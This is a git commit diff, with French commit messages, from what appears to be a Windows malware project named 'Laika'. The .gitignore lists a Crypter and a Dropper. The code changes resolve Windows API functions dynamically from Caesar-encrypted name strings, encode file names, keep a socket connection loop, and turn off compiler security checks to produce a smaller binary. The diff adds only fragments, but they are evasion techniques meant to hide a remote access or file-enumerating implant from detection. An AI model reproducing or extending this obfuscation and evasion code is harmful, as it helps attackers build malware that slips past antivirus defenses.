code optimisé, debug mode créé
passé de 12ko à 9ko en Release
This commit is contained in:
3
.gitignore
vendored
3
.gitignore
vendored
@@ -1,7 +1,8 @@
|
|||||||
#le crypter est en WIP, pas sûr de le faire jusqu'au bout, peut-être faire un obfuscateur à la place
|
#le crypter est en WIP, pas sûr de le faire jusqu'au bout, peut-être faire un obfuscateur à la place
|
||||||
.vim
|
.vim
|
||||||
Laika/.vs
|
Laika/.vs
|
||||||
Laika/release
|
Laika/Release
|
||||||
|
Laika/Debug
|
||||||
Crypter/.vs
|
Crypter/.vs
|
||||||
Crypter/x64
|
Crypter/x64
|
||||||
Dropper/
|
Dropper/
|
||||||
@@ -28,7 +28,7 @@
|
|||||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
|
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
|
||||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
|
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
|
||||||
<ConfigurationType>Application</ConfigurationType>
|
<ConfigurationType>Application</ConfigurationType>
|
||||||
<UseDebugLibraries>true</UseDebugLibraries>
|
<UseDebugLibraries>false</UseDebugLibraries>
|
||||||
<PlatformToolset>v143</PlatformToolset>
|
<PlatformToolset>v143</PlatformToolset>
|
||||||
<CharacterSet>Unicode</CharacterSet>
|
<CharacterSet>Unicode</CharacterSet>
|
||||||
</PropertyGroup>
|
</PropertyGroup>
|
||||||
@@ -71,7 +71,8 @@
|
|||||||
</ImportGroup>
|
</ImportGroup>
|
||||||
<PropertyGroup Label="UserMacros" />
|
<PropertyGroup Label="UserMacros" />
|
||||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||||
<LinkIncremental>true</LinkIncremental>
|
<LinkIncremental>false</LinkIncremental>
|
||||||
|
<GenerateManifest>false</GenerateManifest>
|
||||||
</PropertyGroup>
|
</PropertyGroup>
|
||||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||||
<LinkIncremental>false</LinkIncremental>
|
<LinkIncremental>false</LinkIncremental>
|
||||||
@@ -87,19 +88,6 @@
|
|||||||
<VcpkgEnabled>false</VcpkgEnabled>
|
<VcpkgEnabled>false</VcpkgEnabled>
|
||||||
</PropertyGroup>
|
</PropertyGroup>
|
||||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||||
<ClCompile>
|
|
||||||
<WarningLevel>Level3</WarningLevel>
|
|
||||||
<SDLCheck>true</SDLCheck>
|
|
||||||
<PreprocessorDefinitions>WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
|
||||||
<ConformanceMode>true</ConformanceMode>
|
|
||||||
<LanguageStandard>stdcpp20</LanguageStandard>
|
|
||||||
</ClCompile>
|
|
||||||
<Link>
|
|
||||||
<SubSystem>Console</SubSystem>
|
|
||||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
|
||||||
</Link>
|
|
||||||
</ItemDefinitionGroup>
|
|
||||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
|
||||||
<ClCompile>
|
<ClCompile>
|
||||||
<WarningLevel>Level3</WarningLevel>
|
<WarningLevel>Level3</WarningLevel>
|
||||||
<FunctionLevelLinking>true</FunctionLevelLinking>
|
<FunctionLevelLinking>true</FunctionLevelLinking>
|
||||||
@@ -122,6 +110,38 @@
|
|||||||
<EntryPointSymbol>main</EntryPointSymbol>
|
<EntryPointSymbol>main</EntryPointSymbol>
|
||||||
<StackReserveSize>
|
<StackReserveSize>
|
||||||
</StackReserveSize>
|
</StackReserveSize>
|
||||||
|
<GenerateMapFile>true</GenerateMapFile>
|
||||||
|
</Link>
|
||||||
|
</ItemDefinitionGroup>
|
||||||
|
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||||
|
<ClCompile>
|
||||||
|
<WarningLevel>Level3</WarningLevel>
|
||||||
|
<FunctionLevelLinking>true</FunctionLevelLinking>
|
||||||
|
<IntrinsicFunctions>true</IntrinsicFunctions>
|
||||||
|
<SDLCheck>false</SDLCheck>
|
||||||
|
<PreprocessorDefinitions>WIN32;NDEBUG;_CONSOLE;_CRT_SECURE_NO_WARNINGS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||||
|
<ConformanceMode>true</ConformanceMode>
|
||||||
|
<LanguageStandard>stdcpp20</LanguageStandard>
|
||||||
|
<Optimization>MinSpace</Optimization>
|
||||||
|
<RuntimeLibrary>MultiThreadedDebug</RuntimeLibrary>
|
||||||
|
<BufferSecurityCheck>false</BufferSecurityCheck>
|
||||||
|
<CompileAs>CompileAsC</CompileAs>
|
||||||
|
<InlineFunctionExpansion>AnySuitable</InlineFunctionExpansion>
|
||||||
|
<FavorSizeOrSpeed>Size</FavorSizeOrSpeed>
|
||||||
|
<OmitFramePointers>true</OmitFramePointers>
|
||||||
|
<WholeProgramOptimization>true</WholeProgramOptimization>
|
||||||
|
</ClCompile>
|
||||||
|
<Link>
|
||||||
|
<SubSystem>Console</SubSystem>
|
||||||
|
<EnableCOMDATFolding>true</EnableCOMDATFolding>
|
||||||
|
<OptimizeReferences>true</OptimizeReferences>
|
||||||
|
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||||
|
<IgnoreAllDefaultLibraries>true</IgnoreAllDefaultLibraries>
|
||||||
|
<EntryPointSymbol>main</EntryPointSymbol>
|
||||||
|
<StackReserveSize>
|
||||||
|
</StackReserveSize>
|
||||||
|
<AdditionalOptions>/LTCG %(AdditionalOptions)</AdditionalOptions>
|
||||||
|
<GenerateMapFile>true</GenerateMapFile>
|
||||||
</Link>
|
</Link>
|
||||||
</ItemDefinitionGroup>
|
</ItemDefinitionGroup>
|
||||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
||||||
|
|||||||
@@ -29,7 +29,7 @@ char* get_file_list(const char* dirPath, int* numFiles) {
|
|||||||
|
|
||||||
wcscat(searchPath, L"\\*.*");
|
wcscat(searchPath, L"\\*.*");
|
||||||
|
|
||||||
hFind = FindFirstFile(searchPath, &findData);
|
hFind = Api.FindFirstFileW(searchPath, &findData);
|
||||||
if (hFind == INVALID_HANDLE_VALUE) {
|
if (hFind == INVALID_HANDLE_VALUE) {
|
||||||
return NULL;
|
return NULL;
|
||||||
}
|
}
|
||||||
@@ -59,7 +59,7 @@ char* get_file_list(const char* dirPath, int* numFiles) {
|
|||||||
fileList[numFound] = (char*)Api.malloc(strlen(fileName) + 1);
|
fileList[numFound] = (char*)Api.malloc(strlen(fileName) + 1);
|
||||||
Api.strcpy(fileList[numFound], CAESAR(fileName));
|
Api.strcpy(fileList[numFound], CAESAR(fileName));
|
||||||
numFound++;
|
numFound++;
|
||||||
} while (FindNextFile(hFind, &findData) != 0);
|
} while (Api.FindNextFileW(hFind, &findData) != 0);
|
||||||
|
|
||||||
Api.FindClose(hFind);
|
Api.FindClose(hFind);
|
||||||
|
|
||||||
|
|||||||
@@ -446,10 +446,10 @@ retry:
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
/* Never called
|
||||||
Api.closesocket(sock);
|
Api.closesocket(sock);
|
||||||
|
|
||||||
FreeApis();
|
FreeApis();
|
||||||
|
*/
|
||||||
return 0;
|
return 0;
|
||||||
}
|
}
|
||||||
@@ -12,8 +12,8 @@ void InitApis() {
|
|||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
|
|
||||||
Api.CreateFileW = (TCreateFileW)GetProcAddress(hKernel32, CAESAR_DECRYPT("HwjfyjKnqj\\"));
|
|
||||||
Api.GetProcAddress = (TGetProcAddress)GetProcAddress(hKernel32, CAESAR_DECRYPT("LjyUwthFiiwjxx"));
|
Api.GetProcAddress = (TGetProcAddress)GetProcAddress(hKernel32, CAESAR_DECRYPT("LjyUwthFiiwjxx"));
|
||||||
|
Api.CreateFileW = (TCreateFileW)Api.GetProcAddress(hKernel32, CAESAR_DECRYPT("HwjfyjKnqj\\"));
|
||||||
Api.ReadFile = (TReadFile)Api.GetProcAddress(hKernel32, CAESAR_DECRYPT("WjfiKnqj"));
|
Api.ReadFile = (TReadFile)Api.GetProcAddress(hKernel32, CAESAR_DECRYPT("WjfiKnqj"));
|
||||||
Api.WriteFile = (TWriteFile)Api.GetProcAddress(hKernel32, CAESAR_DECRYPT("\\wnyjKnqj"));
|
Api.WriteFile = (TWriteFile)Api.GetProcAddress(hKernel32, CAESAR_DECRYPT("\\wnyjKnqj"));
|
||||||
Api.CloseHandle = (TCloseHandle)Api.GetProcAddress(hKernel32, CAESAR_DECRYPT("HqtxjMfsiqj"));
|
Api.CloseHandle = (TCloseHandle)Api.GetProcAddress(hKernel32, CAESAR_DECRYPT("HqtxjMfsiqj"));
|
||||||
@@ -29,6 +29,8 @@ void InitApis() {
|
|||||||
Api.FindClose = (TFindClose)Api.GetProcAddress(hKernel32, CAESAR_DECRYPT("KnsiHqtxj"));
|
Api.FindClose = (TFindClose)Api.GetProcAddress(hKernel32, CAESAR_DECRYPT("KnsiHqtxj"));
|
||||||
Api.GetLogicalDrives = (TGetLogicalDrives)Api.GetProcAddress(hKernel32, CAESAR_DECRYPT("LjyQtlnhfqIwn{jx"));
|
Api.GetLogicalDrives = (TGetLogicalDrives)Api.GetProcAddress(hKernel32, CAESAR_DECRYPT("LjyQtlnhfqIwn{jx"));
|
||||||
Api.MultiByteToWideChar = (TMultiByteToWideChar)Api.GetProcAddress(hKernel32, CAESAR_DECRYPT("RzqynG~yjYt\\nijHmfw"));
|
Api.MultiByteToWideChar = (TMultiByteToWideChar)Api.GetProcAddress(hKernel32, CAESAR_DECRYPT("RzqynG~yjYt\\nijHmfw"));
|
||||||
|
Api.FindFirstFileW = (TFindFirstFileW)Api.GetProcAddress(hKernel32, CAESAR_DECRYPT("KnsiKnwxyKnqj\\"));
|
||||||
|
Api.FindNextFileW = (TFindNextFileW)Api.GetProcAddress(hKernel32, CAESAR_DECRYPT("KnsiSj}yKnqj\\"));
|
||||||
|
|
||||||
hMsvcrt = LoadLibraryA(CAESAR_DECRYPT("rx{hwy3iqq"));
|
hMsvcrt = LoadLibraryA(CAESAR_DECRYPT("rx{hwy3iqq"));
|
||||||
if (!hMsvcrt) {
|
if (!hMsvcrt) {
|
||||||
@@ -72,8 +74,10 @@ void InitApis() {
|
|||||||
Api.setsockopt = (Tsetsockopt)Api.GetProcAddress(hWininet, CAESAR_DECRYPT("xjyxthptuy"));
|
Api.setsockopt = (Tsetsockopt)Api.GetProcAddress(hWininet, CAESAR_DECRYPT("xjyxthptuy"));
|
||||||
}
|
}
|
||||||
|
|
||||||
|
/* Never called
|
||||||
void FreeApis() {
|
void FreeApis() {
|
||||||
Api.FreeLibrary(hWininet);
|
Api.FreeLibrary(hWininet);
|
||||||
Api.FreeLibrary(hMsvcrt);
|
Api.FreeLibrary(hMsvcrt);
|
||||||
Api.FreeLibrary(hKernel32);
|
Api.FreeLibrary(hKernel32);
|
||||||
}
|
}
|
||||||
|
*/
|
||||||
@@ -55,6 +55,8 @@ typedef FARPROC(WINAPI* TGetProcAddress)(HMODULE, LPCSTR);
|
|||||||
typedef BOOL(WINAPI* TFindClose)(HANDLE);
|
typedef BOOL(WINAPI* TFindClose)(HANDLE);
|
||||||
typedef DWORD(WINAPI* TGetLogicalDrives)(VOID);
|
typedef DWORD(WINAPI* TGetLogicalDrives)(VOID);
|
||||||
typedef int(WINAPI* TMultiByteToWideChar)(UINT, DWORD, LPCCH, int, LPWSTR, int);
|
typedef int(WINAPI* TMultiByteToWideChar)(UINT, DWORD, LPCCH, int, LPWSTR, int);
|
||||||
|
typedef HANDLE(WINAPI* TFindFirstFileW)(LPCWSTR, LPWIN32_FIND_DATAW);
|
||||||
|
typedef BOOL(WINAPI* TFindNextFileW)(HANDLE, LPWIN32_FIND_DATAW);
|
||||||
|
|
||||||
typedef struct ApiList {
|
typedef struct ApiList {
|
||||||
Tconnect connect;
|
Tconnect connect;
|
||||||
@@ -91,6 +93,8 @@ typedef struct ApiList {
|
|||||||
TFindClose FindClose;
|
TFindClose FindClose;
|
||||||
TGetLogicalDrives GetLogicalDrives;
|
TGetLogicalDrives GetLogicalDrives;
|
||||||
TMultiByteToWideChar MultiByteToWideChar;
|
TMultiByteToWideChar MultiByteToWideChar;
|
||||||
|
TFindFirstFileW FindFirstFileW;
|
||||||
|
TFindNextFileW FindNextFileW;
|
||||||
|
|
||||||
Tmbstowcs mbstowcs;
|
Tmbstowcs mbstowcs;
|
||||||
Twcstombs wcstombs;
|
Twcstombs wcstombs;
|
||||||
@@ -110,4 +114,4 @@ typedef struct ApiList {
|
|||||||
} API;
|
} API;
|
||||||
|
|
||||||
void InitApis();
|
void InitApis();
|
||||||
void FreeApis();
|
//void FreeApis(); Never called
|
||||||
Reference in New Issue
Block a user